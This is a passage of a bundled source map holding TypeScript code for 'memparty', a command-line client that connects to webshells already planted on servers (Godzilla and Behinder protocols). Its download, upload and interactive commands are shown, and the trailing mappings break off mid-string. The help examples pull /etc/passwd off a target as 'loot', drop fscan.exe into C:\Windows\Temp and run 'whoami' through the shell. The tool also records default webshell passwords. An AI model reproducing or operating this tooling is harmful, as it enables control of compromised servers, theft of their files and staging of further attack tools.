shell } = parseRef(ref);\n const removed = shell ? removeShell(project, shell) : removeProject(project);\n logOp({\n category: \"remove\",\n action: \"remove\",\n targetName: ref,\n ok: removed,\n detail: removed ? \"removed\" : \"unknown target\",\n });\n if (removed) {\n process.stdout.write(`removed ${ref}\\n`);\n } else {\n process.stderr.write(`Error: unknown target ${JSON.stringify(ref)}\\n`);\n process.exitCode = 1;\n }\n });\n}\n","import { writeFileSync } from \"node:fs\";\n\nimport { Command, Option } from \"commander\";\n\nimport { logInfo, reportError, type GlobalOptions } from \"../cli-context.js\";\nimport {\n protocolNames,\n requireProtocol,\n unsupportedMessage,\n type ProtocolOptions,\n} from \"../connect/registry.js\";\nimport type {\n CommonConnectOptions,\n DownloadResult,\n TransferResult,\n} from \"../connect/types.js\";\nimport { readUploadFile, resolveDownloadPath } from \"../core/localfile.js\";\nimport { logOp } from \"../core/oplog.js\";\nimport { autoSaveShell, resolveConnection, type ResolvedConnection } from \"../core/targets.js\";\n\ninterface TransferCmdOptions extends GlobalOptions {\n url?: string;\n tool?: string;\n pass?: string;\n key?: string;\n headerName?: string;\n headerValue?: string;\n header?: string[];\n insecure?: boolean;\n json?: boolean;\n save?: boolean;\n output?: string;\n force?: boolean;\n remoteCharset?: string;\n upgradeProtocol?: string;\n}\n\nfunction parseExtraHeaders(lines: string[] | undefined): Record<string, string> {\n const headers: Record<string, string> = {};\n for (const line of lines ?? []) {\n const idx = line.indexOf(\":\");\n if (idx <= 0) {\n throw new Error(`invalid header ${JSON.stringify(line)}, expected \"Name: value\"`);\n }\n headers[line.slice(0, idx).trim()] = line.slice(idx + 1).trim();\n }\n return headers;\n}\n\ninterface ResolvedTransfer {\n conn: ResolvedConnection;\n common: CommonConnectOptions;\n}\n\n/** Resolve the target connection; on failure report + set exit code, return null. */\nfunction resolveTransfer(\n name: string | undefined,\n opts: TransferCmdOptions,\n timeoutMs: number,\n): ResolvedTransfer | null {\n let conn: ResolvedConnection;\n try {\n conn = resolveConnection(name, {\n url: opts.url,\n tool: opts.tool,\n pass: opts.pass,\n key: opts.key,\n headerName: opts.headerName,\n headerValue: opts.headerValue,\n extraHeaders: parseExtraHeaders(opts.header),\n insecure: opts.insecure,\n upgradeProtocol: opts.upgradeProtocol,\n });\n } catch (err) {\n reportError(err instanceof Error ? err.message : String(err), opts.json ? [\"--json\"] : []);\n process.exitCode = 1;\n return null;\n }\n return {\n conn,\n common: {\n headerName: conn.headerName,\n headerValue: conn.headerValue,\n extraHeaders: conn.extraHeaders,\n timeoutMs,\n insecure: conn.insecure,\n upgradeProtocol: conn.upgradeProtocol,\n },\n };\n}\n\n/** A successful transfer proves the credentials — keep them as a named target. */\nfunction maybeAutoSave(conn: ResolvedConnection, opts: TransferCmdOptions): string | undefined {\n if (conn.targetName !== undefined || opts.save === false) return undefined;\n const savedAs = autoSaveShell(conn);\n conn.targetName = savedAs;\n return savedAs;\n}\n\nfunction printResult(\n result: TransferResult,\n localPath: string,\n savedAs: string | undefined,\n json: boolean | undefined,\n): void {\n if (json) {\n // a DownloadResult carries the file bytes in `data` — never print those\n const { data: _data, ...wire } = result as DownloadResult;\n process.stdout.write(`${JSON.stringify({ ...wire, localPath, savedAs }, null, 2)}\\n`);\n return;\n }\n if (result.ok) {\n const [from, to] =\n result.direction === \"download\"\n ? [result.remotePath, localPath]\n : [localPath, result.remotePath];\n process.stdout.write(\n `${result.direction === \"download\" ? \"downloaded\" : \"uploaded\"} ${result.bytes ?? 0} bytes: ` +\n `${from} -> ${to} (${result.tool}, ${result.durationMs}ms)\\n`,\n );\n if (result.detail) logInfo(`note: ${result.detail}`);\n if (savedAs) logInfo(`saved as '${savedAs}' (use --no-save to skip)`);\n } else {\n process.stderr.write(\n `FAIL ${result.direction} ${result.tool} ${result.url}\\n ${result.error ?? \"\"}\\n`,\n );\n }\n}\n\nexport function registerDownloadCommand(program: Command): void {\n program\n .command(\"download\")\n .description(\"Download a file from a deployed webshell\")\n .argument(\"[name]\", \"saved target name (see 'memparty list')\")\n .argument(\"[remote]\", \"remote file path\")\n .option(\"-u, --url <url>\", \"URL of the deployed shell (or give a saved target name)\")\n .addOption(\n new Option(\"-t, --tool <tool>\", \"shell protocol\").choices(protocolNames(\"download\")),\n )\n .option(\"-o, --output <file>\", \"local destination (a directory keeps the remote basename)\")\n .option(\"--force\", \"overwrite an existing local file\")\n .option(\"--pass <pass>\", \"password (godzilla default: pass; behinder default: rebeyond)\")\n .option(\"--key <key>\", \"godzilla key (default: key)\")\n .option(\"--upgrade-protocol <className>\", \"godzilla Upgrade shell: fully-qualified generated shell class name\")\n .option(\n \"--remote-charset <label>\",\n \"godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)\",\n )\n .option(\n \"--header-name <name>\",\n \"gate header name reported by gen (shellToolConfig.headerName)\",\n )\n .option(\n \"--header-value <value>\",\n \"gate header value reported by gen (shellToolConfig.headerValue)\",\n )\n .option(\"-H, --header <line...>\", 'extra request header, e.g. -H \"Cookie: a=b\"')\n .option(\"-k, --insecure\", \"skip TLS certificate verification\")\n .option(\"--json\", \"output raw JSON\")\n .option(\"--no-save\", \"do not auto-save the target after a successful download\")\n .addHelpText(\n \"after\",\n `\nExamples:\n $ memparty download -u http://target/shell.jsp -t godzilla --pass pass --key key \\\\\n --header-value my-secret-token /etc/passwd -o loot-passwd\n $ memparty download web222 C:\\\\Windows\\\\win.ini # saved target\n $ memparty download web222 /var/log/app.log -o logs/ --json\n\nIntegrity: godzilla verifies the transferred size; behinder additionally\ncompares the remote MD5 against the received bytes. An existing local file\nis never overwritten unless --force is given.\n`,\n )\n .action(async (name: string | undefined, remote: string | undefined, opts: TransferCmdOptions, cmd: Command) => {\n const globals = cmd.optsWithGlobals() as GlobalOptions & { timeout?: string };\n const timeoutMs = Number.parseInt(globals.timeout ?? \"30000\", 10);\n\n // `download <remote>` or `download <name> <remote>`\n let targetName = name;\n let remotePath = remote;\n if (remotePath === undefined) {\n remotePath = name;\n targetName = undefined;\n }\n if (!remotePath) {\n reportError(\"missing remote file path — usage: memparty download [name] <remote>\", opts.json ? [\"--json\"] : []);\n process.exitCode = 1;\n return;\n }\n\n const resolved = resolveTransfer(targetName, opts, timeoutMs);\n if (!resolved) return;\n const { conn, common } = resolved;\n\n // decide + validate the local destination before touching the network\n let localPath: string;\n try {\n localPath = resolveDownloadPath(remotePath, opts.output, opts.force ?? false);\n } catch (err) {\n reportError(err instanceof Error ? err.message : String(err), opts.json ? [\"--json\"] : []);\n process.exitCode = 1;\n return;\n }\n\n let result: DownloadResult;\n try {\n const protocol = requireProtocol(conn.tool);\n if (!protocol.download) {\n reportError(unsupportedMessage(protocol, \"download\"), opts.json ? [\"--json\"] : []);\n process.exitCode = 1;\n return;\n }\n const options: ProtocolOptions = { remoteCharset: opts.remoteCharset };\n result = await protocol.download({ conn, common, options }, remotePath);\n } catch (err) {\n reportError(err instanceof Error ? err.message : String(err), opts.json ? [\"--json\"] : []);\n process.exitCode = 1;\n return;\n }\n\n let writeError: string | undefined;\n if (result.ok && result.data !== undefined) {\n try {\n writeFileSync(localPath, result.data);\n } catch (err) {\n writeError = `download succeeded but writing ${localPath} failed: ${\n err instanceof Error ? err.message : String(err)\n }`;\n result = { ...result, ok: false, error: writeError };\n }\n }\n\n const savedAs = result.ok ? maybeAutoSave(conn, opts) : undefined;\n logOp({\n category: \"download\",\n action: \"download\",\n targetName: conn.targetName,\n url: conn.url,\n tool: conn.tool,\n ok: result.ok,\n durationMs: result.durationMs,\n detail: result.ok ? `${remotePath} -> ${localPath} (${result.bytes ?? 0} bytes)` : undefined,\n error: result.error,\n meta: { remotePath, localPath, bytes: result.bytes },\n });\n\n printResult(result, localPath, savedAs, opts.json);\n if (!result.ok) process.exitCode = 1;\n });\n}\n\nexport function registerUploadCommand(program: Command): void {\n program\n .command(\"upload\")\n .description(\"Upload a local file to a deployed webshell\")\n .argument(\"[name]\", \"saved target name (see 'memparty list')\")\n .argument(\"[local]\", \"local file path\")\n .argument(\"[remote]\", \"remote destination path\")\n .option(\"-u, --url <url>\", \"URL of the deployed shell (or give a saved target name)\")\n .addOption(\n new Option(\"-t, --tool <tool>\", \"shell protocol\").choices(protocolNames(\"upload\")),\n )\n .option(\"--pass <pass>\", \"password (godzilla default: pass; behinder default: rebeyond)\")\n .option(\"--key <key>\", \"godzilla key (default: key)\")\n .option(\"--upgrade-protocol <className>\", \"godzilla Upgrade shell: fully-qualified generated shell class name\")\n .option(\n \"--remote-charset <label>\",\n \"godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)\",\n )\n .option(\n \"--header-name <name>\",\n \"gate header name reported by gen (shellToolConfig.headerName)\",\n )\n .option(\n \"--header-value <value>\",\n \"gate header value reported by gen (shellToolConfig.headerValue)\",\n )\n .option(\"-H, --header <line...>\", 'extra request header, e.g. -H \"Cookie: a=b\"')\n .option(\"-k, --insecure\", \"skip TLS certificate verification\")\n .option(\"--json\", \"output raw JSON\")\n .option(\"--no-save\", \"do not auto-save the target after a successful upload\")\n .addHelpText(\n \"after\",\n `\nExamples:\n $ memparty upload -u http://target/shell.jsp -t behinder --pass rebeyond \\\\\n --header-value my-secret-token fscan.exe C:\\\\Windows\\\\Temp\\\\f.exe\n $ memparty upload web222 ./agent.jar /tmp/agent.jar --json\n\nUpload overwrites the remote file (truncate + write). Integrity: godzilla\nverifies the remote size afterwards; behinder compares MD5. A failed upload\nchunk aborts the transfer — the remote file may be left partial.\n`,\n )\n .action(async (name: string | undefined, local: string | undefined, remote: string | undefined, opts: TransferCmdOptions, cmd: Command) => {\n const globals = cmd.optsWithGlobals() as GlobalOptions & { timeout?: string };\n const timeoutMs = Number.parseInt(globals.timeout ?? \"30000\", 10);\n\n // `upload <local> <remote>` or `upload <name> <local> <remote>`\n let targetName = name;\n let localPath = local;\n let remotePath = remote;\n if (remotePath === undefined) {\n remotePath = local;\n localPath = name;\n targetName = undefined;\n }\n if (!localPath || !remotePath) {\n reportError(\"missing paths — usage: memparty upload [name] <local> <remote>\", opts.json ? [\"--json\"] : []);\n process.exitCode = 1;\n return;\n }\n\n const resolved = resolveTransfer(targetName, opts, timeoutMs);\n if (!resolved) return;\n const { conn, common } = resolved;\n\n // read + validate the local file before touching the network\n let data: Buffer;\n try {\n data = readUploadFile(localPath);\n } catch (err) {\n reportError(err instanceof Error ? err.message : String(err), opts.json ? [\"--json\"] : []);\n process.exitCode = 1;\n return;\n }\n\n let result: TransferResult;\n try {\n const protocol = requireProtocol(conn.tool);\n if (!protocol.upload) {\n reportError(unsupportedMessage(protocol, \"upload\"), opts.json ? [\"--json\"] : []);\n process.exitCode = 1;\n return;\n }\n const options: ProtocolOptions = { remoteCharset: opts.remoteCharset };\n result = await protocol.upload({ conn, common, options }, remotePath, data);\n } catch (err) {\n reportError(err instanceof Error ? err.message : String(err), opts.json ? [\"--json\"] : []);\n process.exitCode = 1;\n return;\n }\n\n const savedAs = result.ok ? maybeAutoSave(conn, opts) : undefined;\n logOp({\n category: \"upload\",\n action: \"upload\",\n targetName: conn.targetName,\n url: conn.url,\n tool: conn.tool,\n ok: result.ok,\n durationMs: result.durationMs,\n detail: result.ok ? `${localPath} -> ${remotePath} (${result.bytes ?? 0} bytes)` : undefined,\n error: result.error,\n meta: { localPath, remotePath, bytes: result.bytes },\n });\n\n printResult(result, localPath, savedAs, opts.json);\n if (!result.ok) process.exitCode = 1;\n });\n}\n","import { Command } from \"commander\";\n\nimport { createClient, type GlobalOptions } from \"../cli-context.js\";\nimport { CLI_VERSION } from \"../version.js\";\n\ninterface VersionCmdOptions extends GlobalOptions {\n json?: boolean;\n}\n\nexport function registerVersionCommand(program: Command): void {\n program\n .command(\"version\")\n .description(\"Show CLI version and the backend server version\")\n .option(\"--json\", \"output raw JSON\")\n .action(async (opts: VersionCmdOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n let server: Awaited<ReturnType<typeof client.getVersion>> | { error: string };\n try {\n server = await client.getVersion();\n } catch (err) {\n server = { error: (err as Error).message };\n }\n\n if (opts.json) {\n process.stdout.write(`${JSON.stringify({ cli: CLI_VERSION, server }, null, 2)}\\n`);\n return;\n }\n\n const lines = [`CLI: ${CLI_VERSION}`];\n if (\"error\" in server) {\n lines.push(`Server: (unavailable) ${server.error}`);\n } else {\n lines.push(`Server: ${server.currentVersion}`);\n if (server.hasUpdate) {\n lines.push(`Update: ${server.latestVersion} available`);\n }\n }\n process.stdout.write(`${lines.join(\"\\n\")}\\n`);\n });\n}\n","/**\n * Interactive REPL for `memparty` with no arguments: one process, many\n * commands. Each line is parsed like regular CLI argv (quotes supported),\n * so anything that works as `memparty <line>` works at the prompt —\n * including `--help` on any subcommand. Built-ins: help, clear, exit/quit.\n *\n * Since connect/exec auto-save verified shells, a typical session is:\n * connect -u http://host/shell.jsp -t godzilla --header-value XXX\n * exec host/godzilla --cmd whoami\n */\nimport * as readline from \"node:readline\";\n\nimport { Command, CommanderError } from \"commander\";\n\nimport { ApiError } from \"./api/client.js\";\nimport { reportError } from \"./cli-context.js\";\nimport { CLI_VERSION } from \"./version.js\";\n\n/** Split a REPL line into argv-like tokens, honoring single/double quotes. */\nexport function tokenize(line: string): string[] {\n const tokens: string[] = [];\n let cur = \"\";\n let quote: string | null = null;\n let started = false;\n for (const ch of line) {\n if (quote !== null) {\n if (ch === quote) quote = null;\n else cur += ch;\n } else if (ch === '\"' || ch === \"'\") {\n quote = ch;\n started = true;\n } else if (/\\s/.test(ch)) {\n if (started || cur.length > 0) {\n tokens.push(cur);\n cur = \"\";\n started = false;\n }\n } else {\n cur += ch;\n }\n }\n if (started || cur.length > 0) tokens.push(cur);\n return tokens;\n}\n\nexport async function startRepl(build: () => Command): Promise<void> {\n process.stdout.write(\n `memparty ${CLI_VERSION} — interactive mode. Type 'help' for commands, 'exit' to quit.\\n`,\n );\n\n const rl = readline.createInterface({\n input: process.stdin,\n output: process.stdout,\n terminal: process.stdin.isTTY === true,\n historySize: 200,\n });\n\n // Queue lines ourselves: with piped (non-TTY) stdin, readline may buffer\n // several lines at once and drop any emitted while no question is pending.\n const pending: string[] = [];\n let waiter: ((line: string | null) => void) | null = null;\n let closed = false;\n rl.on(\"line\", (line) => {\n if (waiter) {\n const w = waiter;\n waiter = null;\n w(line);\n } else {\n pending.push(line);\n }\n });\n rl.on(\"close\", () => {\n closed = true;\n waiter?.(null);\n });\n const isTty = process.stdin.isTTY === true;\n rl.setPrompt(\"memparty> \");\n const ask = (): Promise<string | null> => {\n if (isTty) rl.prompt();\n const buffered = pending.shift();\n if (buffered !== undefined) return Promise.resolve(buffered);\n if (closed) return Promise.resolve(null);\n return new Promise((resolve) => {\n waiter = resolve;\n });\n };\n\n for (;;) {\n const line = await ask();\n if (line === null) break; // EOF / Ctrl-D\n const tokens = tokenize(line);\n if (tokens.length === 0) continue;\n const [cmd, ...rest] = tokens;\n\n if (cmd === \"exit\" || cmd === \"quit\") break;\n if (cmd === \"clear\") {\n process.stdout.write(\"\u001b[2J\u001b[0f\");\n continue;\n }\n if (cmd === \"help\") {\n if (rest.length === 0) {\n build().outputHelp();\n continue;\n }\n tokens.push(\"--help\"); // `help connect` == `connect --help`\n }\n\n rl.pause(); // let wizards/prompts own stdin while the command runs\n try {\n await build().parseAsync([\"node\", \"memparty\", ...tokens]);\n } catch (err) {\n if (err instanceof CommanderError) {\n // exitOverride: commander already printed help or the usage error\n } else if (err instanceof ApiError) {\n reportError(`API error (${err.status || \"network\"}): ${err.message}`, tokens);\n } else if (err instanceof Error) {\n if (err.name === \"ExitPromptError\") process.stderr.write(\"\\nAborted.\\n\");\n else reportError(err.message, tokens);\n } else {\n reportError(String(err), tokens);\n }\n }\n process.exitCode = 0; // a failed command must not poison the REPL's exit status\n rl.resume();\n }\n\n rl.close();\n}\n"],"mappings":"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